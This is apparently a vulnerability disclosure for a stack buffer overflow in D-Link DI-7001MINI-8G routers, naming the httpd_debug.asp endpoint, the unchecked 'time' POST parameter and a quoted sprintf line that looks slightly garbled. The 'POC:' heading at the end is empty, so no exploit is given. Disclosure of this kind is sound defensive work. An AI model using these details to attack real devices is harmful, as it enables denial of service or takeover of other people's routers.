提交 #825198: D-Link DI-7001MINI-8G <=19.09.19A1 Buffer Overflow

A critical stack-based buffer overflow vulnerability has been identified in D-Link DI-7001MINI-8G devices. The flaw exists in the handling of HTTP POST requests to the httpd_debug.asp endpoint. Specifically, the time parameter is user-controllable and is directly passed to the sprintf function without proper length validation, as demonstrated in the vulnerable code snippet: sprintf(_ret:0_msg:_ok__, "echo \"httpd_debug time %s\" >/dev/console", parm);. By sending a specially crafted, overly long value for this parameter, a remote attacker can overflow the fixed-size buffer. Successful exploitation may lead to a denial of service (DoS) or, under certain circumstances, potential arbitrary code execution.

POC:
